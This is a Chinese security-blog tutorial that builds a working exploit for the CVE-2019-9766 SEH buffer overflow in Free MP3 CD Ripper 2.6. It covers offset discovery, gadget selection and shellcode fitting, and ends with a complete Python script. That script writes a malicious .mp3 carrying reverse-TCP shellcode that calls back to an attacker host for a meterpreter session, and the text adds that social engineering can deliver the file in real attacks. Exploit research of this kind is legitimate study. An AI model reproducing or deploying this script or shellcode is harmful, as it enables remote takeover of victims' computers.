*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文作者:Neroqi,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。
前言
CVE-2019-9766曝出了关于Free MP3 CD Ripper的缓冲区溢出漏洞,在转换文件时,Free MP3 CD Ripper 2.6中基于堆栈的缓冲区溢出漏洞允许用户辅助的远程攻击者通过特制的.mp3文件执行任意代码。本文详细描述了该漏洞的验证方法,渗透模块的编写及测试过程。
如需了解漏洞详情,请参照如下URL:https://nvd.nist.gov/vuln/detail/CVE-2019-9766
实验环境
1. 渗透主机:Kali-Linux-2019.1-vm-amd64
2. 目标主机:CN_Windows7_x86_sp1
3. 软件版本:Free MP3 CD Ripper 2.6
涉及工具:
1. WinDbgx86-v6.12.2.633
2. python-2.7.15
3. ImmunityDebugger1.85
实验步骤
1. 验证该缓冲区溢出漏洞
1.1 通过python生成自定义的.mp3文件,这里将10000个字符A转换成.mp3文件,代码如下:
1.2 在Kali中执行FmcrExploit.py,生成TestFMCR.mp3文件,如下图所示:
1.3 将TestFMCR.mp3复制到目标主机,打开Free MP3 CD Ripper,再打开WinDbg,并将WinDbg附加到进程fcrip.exe(Free MP3 CD Ripper的进程)上,如下图所示:
1.4 在Free MP3 CD Ripper中点击“Convert”,选中TestFMCR.mp3进行转换,如下图所示:
1.5 在WinDbg中执行命令g,可以看到程序发生了异常,如下图所示:
1.6 再次执行命令!exchain,查看SEH链信息,如下图所示:
经过上述六个步骤,我们确定了缓冲区溢出漏洞的存在,并且用10000个字符A成功覆盖了SEH。
2. 编写漏洞利用程序
2.1 定位程序的溢出点,即需要多少个字符A才能够覆盖到SEH,首先生成一个长度10000且没有重复字符的文本,命令如下:
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 10000
内容太多,这里只截图一部分:
2.2 用该文本替换FmcrExploit.py中的”A”*10000,重复步骤1.2,生成TestFMCR.mp3文件;
2.3 重复步骤1.3、1.4、1.5和1.6,发现Pointer to next SEH record被0x46326846覆盖,如下图所示:
2.4 通过0x46326846定位程序的溢出点,可以知道只要填充4116个字符就可以覆盖到 Pointer to next SEH record,具体如下:
2.5 验证2.4中得到的溢出点是否正确,将FmcrExploit.py中的buffer赋值为”A”*4116,重复步骤1.2,生成TestFMCR.mp3文件,将文件复制到目标主机;
2.6 在目标主机中打开ImmunityDebugger1.85,运行Free MP3 CD Ripper,convert步骤2.5中生成的mp3文件,得到如下结果:
可以看到4116个字符A正好覆盖到了Pointer to next SEH record,定位成功。
2.7 Pointer to next SEH record(简称nseh),指示下一个seh结构的位置,这里使用"\xeb\x06\x90\x90"填充,这四字节反汇编的结果是jmp 6、nop、nop三条指令,jmp 6表示跳过6个字节,刚好跳过两个nop指令和一个4字节的seh处理程序地址,然后落入nop指令区,滑行进入shellcode。
2.8 本例中我们要结合使用seh与nseh,才能够完成溢出攻击的全部过程,流程如下:
2.9 寻找pop pop ret三条连续指令是一个难点。在xp中这个过程会简单很多,但是win7及更高版本的系统中加入了safeseh、ASLR等安全保护措施。办法总比困难多,解决办法也是有的。在ImmunityDebugger1.85执行命令!mona seh,结果如下:
2.10 命令!mona seh的输出结果在seh.txt(该文件在ImmunityDebugger1.85的安装目录下)中,在其中找到如下一条信息:
可以看到这个pop pop ret指令序列,对应的是软件自带的dll文件(C:\Program Files\Free MP3 CD Ripper\ogg.dll),注意不要使用系统自带的dll文件,可能会有ASLR、SafeSEH保护。然后我们就可以在FmcrExploit.py中给SEH赋值 "\x84\x20\xe4\x66"。
补充:cpu中地址数据的顺序和网络端传送的地址顺序相反,此时CPU中的地址数据为“0x66e42084”,那么网络端就需要按“0x8420e466”来传送地址数据。
2.11 定制一个shellcode,这里我们制作一个反向TCP连接的shellcode,操作如下:
2.12 从2.11中可以看出,生成的shellcode为341字节,需要考虑一下缓冲区的大小是否能够放入该shellcode。根据ImmunityDebugger1.85的调试结果,我们来计算一下缓冲区的大小,调试结果如下(内容较多,节选一部分):
040AFEBC 040AFEE8 棹. Pointer to next SEH record
040AFEC0 004955CB 薝I. SE handler
040AFEC4 040AFED4 轧.
......
040AFEE4 |00492C1A ,I. RETURN to fcrip.00492C1A
040AFEE8 |040AFF24 $. Pointer to next SEH record
040AFEEC |00492C24 $,I. SE handler
......
040AFFC4 |FFFFFFFF End of SEH chain
040AFFC8 |7769E0ED 磬iw SE handler
......
040AFFF4 004047F4 鬐@. fcrip.004047F4
040AFFF8 01483044 D0H
040AFFFC 00000000 ....
0x 040AFFFC -0x 040AFEC4 =0x138,换算成十进制是312,那么缓冲区的大小就是312+4=316字节,显然316字节怎么都放不下341字节的shellcode。
2.13 到此就无法继续下去了吗?办法总比困难多啊,我们可以尝试把shellcode进行压缩,操作如下:
可以看到,经过压缩之后,shellcode变为283字节,能够完全放入缓冲区了。
2.14 汇总以上操作,编辑FmcrExploit.py,代码如下:
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x22\xb8\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
pad = "B" * (316 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
3. 渗透模块测试
3.1 在Kali的msfconsole中启动侦听端,等待目标主机上线,操作如下图所示:
3.2 将最终版FmcrExploit.py生成的TestFMCR.mp3文件拷贝到目标主机,打开Free MP3 CD Ripper,Convert该mp3文件,然后meterpreter session成功建立,如下图所示:
至此,针对Free MP3 CD Ripper 2.6缓冲区溢出漏洞的渗透模块的编写和测试顺利完成!在实战中,可能还需要结合社工的方法,使mp3文件到达目标主机。
*本文作者:Neroqi,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。